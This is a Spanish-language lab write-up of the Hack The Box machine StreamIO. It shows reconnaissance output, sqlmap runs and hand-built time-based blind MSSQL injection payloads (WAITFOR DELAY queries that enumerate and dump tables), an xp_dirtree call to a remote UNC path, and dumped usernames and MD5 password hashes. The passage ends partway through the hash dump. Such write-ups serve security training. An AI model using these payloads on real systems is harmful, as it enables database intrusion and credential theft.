This page looks best with JavaScript enabled

Hack The Box - StreamIO

En StreamIO descubrimos y explotamos una vulnerabilidad SQLi la cual nos permitió acceder a un panel de administración, en este ultimo encontramos una vulnerabilidad LFI, en consecuencia RFI y Code Injection lo que nos dió acceso a un primer usuario. Tras enumerar las bases de datos obtuvimos credenciales para un segundo usuario. Credenciales en un perfil de Firefox nos permitió ingresar con un tercer usuario. Finalmente con los permisos de este último realizamos la lectura de la contraseña en LAPS para acceder como administrador.

Nombre StreamIO box_img_maker
OS

Windows

Puntos 30
Dificultad Media
IP 10.10.11.158
Maker

JDgodd


nikk37

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.8, 6.7, 5.6, 4.4, 3.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: dns (53), http/s (80, 445), kerberos (88), rpc (135), ldap (389,3268) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Nmap 7.92 scan initiated Tue Jun 21 19:28:43 2022 as: nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,49667,49673,60885 -sV -sC -oN nmap_scan 10.10.11.158
Nmap scan report for 10.10.11.158 (10.10.11.158)
Host is up (0.079s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-22 06:28:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-06-22T06:30:14+00:00; +6h59m53s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
60885/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m53s, deviation: 0s, median: 6h59m52s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-06-22T06:29:35
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 21 19:30:21 2022 -- 1 IP address (1 host up) scanned in 97.67 seconds

Kerbrute

La máquina presenta el puerto de kerberos abierto, utilizamos kerbrute para enumerar usuarios, observamos unicamente: administrator y martin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 π ~/htb/streamio ❯ ./kerbrute userenum --dc streamio.htb -d streamio.htb -t 100 xato-net-10-million-usernames-dup.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/04/22 - Ronnie Flathers @ropnop

2022/07/04 20:42:37 >  Using KDC(s):
2022/07/04 20:42:37 >   streamio.htb:88

2022/07/04 20:42:37 >  [+] VALID USERNAME:   martin@streamio.htb
2022/07/04 20:42:38 >  [+] VALID USERNAME:   Martin@streamio.htb
2022/07/04 20:42:41 >  [+] VALID USERNAME:   administrator@streamio.htb
2022/07/04 20:43:00 >  [+] VALID USERNAME:   MARTIN@streamio.htb
2022/07/04 20:43:15 >  [+] VALID USERNAME:   Administrator@streamio.htb
2022/07/04 21:10:24 >  Done! Tested 624370 usernames (5 valid) in 1667.117 seconds
 π ~/htb/streamio ❯

Web Site

El sitio web no presenta alguna redirección o dominio, aunque vemos un Microsoft IIS 10 como servidor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/streamio ❯ curl -sI 10.10.11.158
HTTP/1.1 200 OK
Content-Length: 703
Content-Type: text/html
Last-Modified: Tue, 22 Feb 2022 10:46:01 GMT
Accept-Ranges: bytes
ETag: "b23de861d927d81:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Tue, 05 Jul 2022 07:54:57 GMT

 π ~/htb/streamio ❯

Unicamente se muestra el index de IIS.

image

Streamio.htb

nmap en el puerto 445 (https) muestra un dominio y subdominio (streamio.htb, watch.streamio.htb), tras agregarlos en /etc/hosts observamos que el dominio presenta información sobre streaming de peliculas.

image

En /about.php se muestran tres nombres los cuales podríamos utilizar como nombres de usuarios.

image

Directory Brute Forcing

feroxbuster muestra páginas nuevas como el login y registro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 π ~/htb/streamio ❯ feroxbuster -k -u https://streamio.htb/ -w $MD --depth 1 -x asp,aspx,html,php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://streamio.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [asp, aspx, html, php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        2l       10w      151c https://streamio.htb/images => https://streamio.htb/images/
200      GET      231l      571w     7825c https://streamio.htb/about.php
200      GET      395l      915w    13497c https://streamio.htb/index.php
200      GET      111l      269w     4145c https://streamio.htb/login.php
200      GET      121l      291w     4500c https://streamio.htb/register.php
200      GET      206l      430w     6434c https://streamio.htb/contact.php
301      GET        2l       10w      151c https://streamio.htb/Images => https://streamio.htb/Images/
301      GET        2l       10w      150c https://streamio.htb/admin => https://streamio.htb/admin/
301      GET        2l       10w      148c https://streamio.htb/css => https://streamio.htb/css/
200      GET      206l      430w     6434c https://streamio.htb/Contact.php
200      GET      231l      571w     7825c https://streamio.htb/About.php
200      GET      395l      915w    13497c https://streamio.htb/Index.php
200      GET      111l      269w     4145c https://streamio.htb/Login.php
301      GET        2l       10w      147c https://streamio.htb/js => https://streamio.htb/js/
302      GET        0l        0w        0c https://streamio.htb/logout.php => https://streamio.htb/
200      GET      121l      291w     4500c https://streamio.htb/Register.php
301      GET        2l       10w      150c https://streamio.htb/fonts => https://streamio.htb/fonts/
301      GET        2l       10w      151c https://streamio.htb/IMAGES => https://streamio.htb/IMAGES/
200      GET      395l      915w    13497c https://streamio.htb/INDEX.php
301      GET        2l       10w      150c https://streamio.htb/Fonts => https://streamio.htb/Fonts/
301      GET        2l       10w      150c https://streamio.htb/Admin => https://streamio.htb/Admin/
301      GET        2l       10w      148c https://streamio.htb/CSS => https://streamio.htb/CSS/
301      GET        2l       10w      147c https://streamio.htb/JS => https://streamio.htb/JS/
302      GET        0l        0w        0c https://streamio.htb/Logout.php => https://streamio.htb/
200      GET      206l      430w     6434c https://streamio.htb/CONTACT.php
200      GET      231l      571w     7825c https://streamio.htb/ABOUT.php

Registramos un usuario en /register.php.

image

Al intentar ingresar por el login nos muestra Login failed, parece ser que el registro no se ralizó correctamente.

image

La dirección /admin/ solo muestra el mensaje forbidden.

1
2
3
 π ~/htb/streamio ❯ curl -sk https://streamio.htb/admin/
<h1>FORBIDDEN</h1>
 π ~/htb/streamio ❯

watch.streamio.htb

El subdominio muestra información sobre actualizaciones de nuevas peliculas, se muestra un formulario de correo electronico.

image

Directory Brute Forcing

feroxbuster muestra search y blocked.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/streamio ❯ feroxbuster -k -u https://watch.streamio.htb/ -w $MD --depth 1 -x asp,aspx,html,php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://watch.streamio.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [asp, aspx, html, php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       78l      245w     2829c https://watch.streamio.htb/index.php
301      GET        2l       10w      157c https://watch.streamio.htb/static => https://watch.streamio.htb/static/
200      GET        0l        0w   253887c https://watch.streamio.htb/search.php
200      GET     7193l    19558w   253887c https://watch.streamio.htb/Search.php
200      GET       78l      245w     2829c https://watch.streamio.htb/Index.php
200      GET       78l      245w     2829c https://watch.streamio.htb/INDEX.php
200      GET       20l       47w      677c https://watch.streamio.htb/blocked.php
200      GET     7193l    19558w   253887c https://watch.streamio.htb/SEARCH.php
301      GET        2l       10w      157c https://watch.streamio.htb/Static => https://watch.streamio.htb/Static/

/search.php solo muestra una larga lista de peliculas.

image

blocked.phpmuestra un mensaje de bloqueo.

image

Intentamos verificar que en search no existiera algun tipo de vulnerabilidad sql, al intentar con diferentes “payloads” nos redirige a blocked. Al ejecutar sqlmap este muestra boolean-based blind pero no logra detectar la base de datos por lo que no logra obtener información. Manualmente no obtuvimos información, por lo que intentamos en otro lugar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/streamio/sqlmap ❯ ./sqlmap.py -u "https://watch.streamio.htb/search.php" --data "q=god" --dbs --batch --risk 3 --level 5
[.. snip ..]

[21:24:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=a%' AND 4271=4271 AND 'jtID%'='jtID
---
[21:24:02] [INFO] testing MySQL
[21:24:02] [WARNING] the back-end DBMS is not MySQL
[.. snip ..]
[21:24:02] [INFO] testing Virtuoso
[21:24:02] [WARNING] the back-end DBMS is not Virtuoso
[21:24:02] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system

SQLi Time-Based + Blind

Utilizamos sqlmap esta vez en el login del dominio, observamos que se detectó el tipo ‘stacked queries’ pero segun el payload se podría decir que es un Time-based, se muestran 5 bases de datos, además se muestra que la base de datos es MSSQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 π ~/htb/streamio/sqlmap ❯ ./sqlmap.py -u "https://streamio.htb/login.php" --data "username=user&password=pass" -p username,password --dbs --batch --level 5 --risk 3
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.6.12#dev}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:46:57 /2022-07-04/

[21:46:57] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=h6qt79i9ta3...teto4ni9b9'). Do you want to use those [Y/n] Y
[21:46:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:46:58] [INFO] testing if the target URL content is stable
[21:46:58] [INFO] target URL content is stable
[21:46:59] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[21:46:59] [INFO] testing for SQL injection on POST parameter 'username'
[21:46:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:47:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:48:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[.. snip ..]
[22:16:45] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3936 HTTP(s) requests:
---
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=user';WAITFOR DELAY '0:0:5'--&password=pass
---
[22:17:45] [INFO] testing Microsoft SQL Server
[22:17:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:17:51] [INFO] confirming Microsoft SQL Server
[22:17:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 2016 or 10
web application technology: PHP 7.2.26, Microsoft IIS 10.0, PHP
back-end DBMS: Microsoft SQL Server 2019
[.. snip ..]
[20:21:14] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
available databases [5]:
[*] model
[*] msdb
[*] STREAMIO
[*] streamio_backup
[*] tempdb

Enumeramos la base de datos STREAMIO tablas y columnas. Se muestra la tabla users, con la columna passwords y username como las más ‘relevantes’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Database: STREAMIO
[2 tables]
+--------+
| movies |
| users  |
+--------+

Database: STREAMIO
Table: users
[4 columns]
+----------+-------+
| Column   | Type  |
+----------+-------+
| id       | int   |
| is_staff | bit   |
| password | nchar |
| username | nchar |
+----------+-------+

Intentamos realizar un dump a la tabla de users pero el proceso es MUY lento y la información que presenta es incompleta o no se comprende del todo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Database: STREAMIO
Table: users
[7 entries]
+----------+---------------------------------------------------------------+-------------------------------------------------------------+
| is_staff | password                                                      | username                                                    |
+----------+---------------------------------------------------------------+-------------------------------------------------------------+
| 1        | c660060492d9edcaa8332d89c99c9239                              | Jam\x81s                                                    |
| 1\x02    | 925e5408ecb67aea449373d668b7359e                              | Theodore                                         \x81       |
| 1        | 083ffae904143ca_\x818|464dӏù4@ܓ\x83h7d~ð  Ǹ\x88 ½          t؃ | Saωant\x88a                                ɡ                |
| 1        | 08344b85b329d7efd611b7a7743e8a09                              | Lauren                                                      |
| 1        | d62be0dc82071bccc1322d64ec5b6c51  \x81                        | William                                                     |
| 1        | f87d3c0d6c8fd686aacc6627f1f493a5                              | Sabrina                                                     |
| 1        | f03b910e2bd0313a23fdd7575f34a694                              | Robert                                   ¦࠿      ؠ߅\x1d\x19 |
+----------+---------------------------------------------------------------+-------------------------------------------------------------+

SQL - Payloads

Creamos un script el cual realiza una enumeración (base de datos, tablas, columnas) y obtiene todos los datos de la tabla dada. Utilizamos distintas funciones y la condición IF junto con WAITFOR DELAY, se muestra el payload “principal”.

1
IF(/*<boolean>*/) WAITFOR DELAY '0:0:1'--

Se muestra un poco más de información sobre el script en el “Expand me”.

En el siguiente ejemplo se obtiene el valor del primer caracter de @@version, como podemos observar su valor es ‘M’, utilizando ord() con python obtenemos su representación unicode, para este, seria 77 el cual validamos y comparamos dentro de la condicion IF con UNICODE, y como sabemos esto es correcto, por lo que estaría haciendo una pausa de 5 segundos. Realizamos esto utilizando una iteración por casi todos los valores unicode, para cada caracter del dato que obtenemos, hasta obtener el valor completo tomando en cuenta la pausa que se realiza, de no haber pausa el valor unicode no es el correcto. Tambien hacemos uso de ISNULL().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
/*
# From python
>>> ord("M")
77
>>>
*/

/*
# From MSSQL
1> select @@version
2> go
Microsoft SQL Server 2022 (CTP2.0) - 16.0.600.9 (X64) 
        May 20 2022 13:29:42 
        Copyright (C) 2022 Microsoft Corporation
        Developer Edition (64-bit) on Linux (Ubuntu 20.04.4 LTS) <X64>                                                                                                                     

(1 rows affected)
*/

/* Query/payload */
IF( UNICODE( SUBSTRING( CAST( @@version as VARCHAR(20) ) ), 1,1)=77 ) WAITFOR DELAY '0:0:5'--

Se muestran los diferentes queries utilizados para obtener información de la base de datos. Se Realiza un conteo del numero de bases de datos y filas existentes, numero utilizado para realizar una iteración.

1
2
3
4
5
/* count dbs*/
IF(ISNULL(UNICODE(SUBSTRING(CAST(((SELECT CAST(COUNT(*) as varchar (10)) FROM master..sysdatabases)) AS varchar(100)), /*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

/* count rows */
USE /*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST((( SELECT CAST(COUNT(*) as varchar (10)) FROM /*table*/)) AS varchar(100)), /*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

Obtiene el nombre de base de datos.

1
2
/* get dbs */
IF(ISNULL(UNICODE(SUBSTRING(CAST((SELECT LOWER(db_name(/*0..n*/)) )AS varchar(8000)),/*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

Para obtener los nombres de tablas y columnas utilizamos STRING_AGG(), esta función nos devuelve una string con todos los nombres de tablas o columnas separadas cada una por comma, por lo que sería un texto muy largo.

1
2
3
4
5
/* get tables */
USE /*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST((( SELECT STRING_AGG(CONVERT(NVARCHAR(max), ISNULL(name,'N/A')), ',') FROM sys.tables )) AS varchar(800)),/*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

/* get columns*/
USE /*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST((( SELECT STRING_AGG(CONVERT(NVARCHAR(max), ISNULL(column_name,'N/A')), ',') FROM information_schema.columns WHERE table_name ='/*table*/' )) AS varchar(800)),/*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

Para realizar un “dump” de las tablas encontramos dos payloads/queries el primero hace uso de STRING_AGG(), por lo que obtendríamos una string super larga (de existir mil filas en x tabla, obtendriamos las mil separadas por comma) ya que no existe LIMIT en SQL Server.

1
2
/* dump v1 */
USE /*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST((( SELECT STRING_AGG(CONVERT(NVARCHAR(max), ISNULL(LOWER(REPLACE(/*column*/, ' ','')),'N/A')), ',') FROM /*table*/ )) AS varchar(800)),/*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

Luego de revisar la documentación de microsoft, encontramos OFSET FETCH con lo cual logramos obtener el valor por fila y no todas las filas a la vez.

1
2
/* dump v2 */
USE /*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST((SELECT /*column*/ FROM /*dbname*/.dbo./*table*/ ORDER BY id OFFSET /*0..n*/ ROWS FETCH NEXT 1 ROWS ONLY) AS varchar(100)),/*0..n*/,1)),0)=/*ord(letter)*/) WAITFOR DELAY '0:0:1'--

Durante el proceso logramos identificar que es posible ejecutar xp_dirtree.

1
2
/* exec */
EXEC master.dbo.xp_dirtree '\\\\10.10.10.10\\not_a_share' WAITFOR DELAY '0:0:4'--

Ref.

Enumeration

Enumeramos las bases de datos observamos 6, a diferencia de sqlmap que muestra unicamente 5.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/streamio ❯ python3 stream.py --dbs
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Fetching number of Databases: 6 found.
[+] Fetching Databases (1): master
[+] Fetching Databases (2): tempdb
[+] Fetching Databases (3): model
[+] Fetching Databases (4): msdb
[+] Fetching Databases (5): streamio
[+] Fetching Databases (6): streamio_backup
 π ~/htb/streamio ❯

Enumeramos las tablas de la base de datos streamio, vemos movies y users.

1
2
3
4
5
6
7
8
9
  π ~/htb/streamio ❯ python3 stream.py -d streamio --tables
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Fetching tables in 'streamio':
        [+] movies
        [+] users
 π ~/htb/streamio ❯

Observamos que la tabla movies tiene algunas columnas que se asimilan a la información encontrada en /search.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  π ~/htb/streamio ❯ python3 stream.py -d streamio -t movies --columns
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Fetching columns of movies in 'streamio':
        [+] id
        [+] movie
        [+] year
        [+] imdb
        [+] metascore
        [+] votes
 π ~/htb/streamio ❯

En la tabla users encontramos columnas con posibles credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/streamio ❯ python3 stream.py -d streamio -t users --columns
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Fetching columns of 'users' in 'streamio':
        [+] id
        [+] username
        [+] password
        [+] is_staff
 π ~/htb/streamio ❯

Dump - Users

Logramos dumpear la tabla users observamos 31 filas o nombres de usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 π ~/htb/streamio ❯ python3 stream.py
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Number of rows in 'users' DB 'streamio': 30 entries in users found.
[*] 31 entries found on users.
[+] Dump data in 'username' of 'users' in 'streamio' row (1): James ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (2): Theodore ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (3): Samantha ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (4): Lauren ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (5): Wildiam ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (6): Sabrina ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (7): Robert ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (8): Thane ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (9): Carmon ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (10): Barry ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (11): Oliver ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (12): Michelle ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (13): Gloria ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (14): Victoria ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (15): Alexendra ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (16): Baxter ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (17): Clara ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (18): Barbra ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (19): Lenord ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (20): Austin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (21): Garfield ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (22): Juliette ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (23): Victor ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (24): Lucifer ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (25): Bruno ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (26): Diablo ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (27): Robin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (28): Stan ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (29): yoshihide ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (30): admin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (31): gato ✓

De igual forma para la columna password, en este caso observamos 33 filas o hashes MD5.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/streamio ❯ python3 stream.py -d streamio -t users -c password -hex
 __  ___  __   ___               __
/__`  |  |__) |__   /\   |\/| | /  \
.__/  |  |  \ |___ /~~\  |  | | \__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Number of rows in 'users' DB 'streamio': 33 entries found.
[*] 33 entries found on users.
[+] Dump data in 'password' of 'users' in 'streamio' row (1): c660060492d9edcaa8332d89c99c9239 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (2): 925e5408ecb67aea449373d668b7359e ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (3): 083ffae904143c4796e464dac33c1f7d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (4): 08344b85b329d7efd611b7a7743e8a09 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (5): d62be0dc82071bccc1322d64ec5b6c51 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (6): f87d3c0d6c8fd686aacc6627f1f493a5 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (7): f03b910e2bd0313a23fdd7575f34a694 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (8): 3577c47eb1e12c8ba021611e1280753c ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (9): 35394484d89fcfdb3c5e447fe749d213 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (10): 54c88b2dbd7b1a84012fabc1a4c73415 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (11): fd78db29173a5cf701bd69027cb9bf6b ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (12): b83439b16f844bd6ffe35c02fe21b3c0 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (13): 0cfaaaafb559f081df2befbe66686de0 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (14): b22abb47a02b52d5dfa27fb0b534f693 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (15): 1c2b3d8270321140e5153f6637d3ee53 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (16): 22ee218331afd081b0dcd8115284bae3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (17): ef8f3d30a856cf166fb8215aca93e9ff ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (18): 3961548825e3e21df5646cafe11c6c76 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (19): ee0b8a09372b160b2882ea3b2f8dc49f ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (20): 0049ac57646627b8d7aeaccf8b6a936f ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (21): 8097cedd612cc37c29db152b6e9edbd3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (22): 6dcd87740abb64edfa36d170f0d5450d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (23): bf55e15b119860a6e6b5a164377da719 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (24): 7df45a9e3de3863807c026ba48e55fb3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (25): 2a4e2cf22dd8fcb45adcb91be1e22ae8 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (26): ec33265e5fc8c2f1b0c137bb7b3632b5 ✓
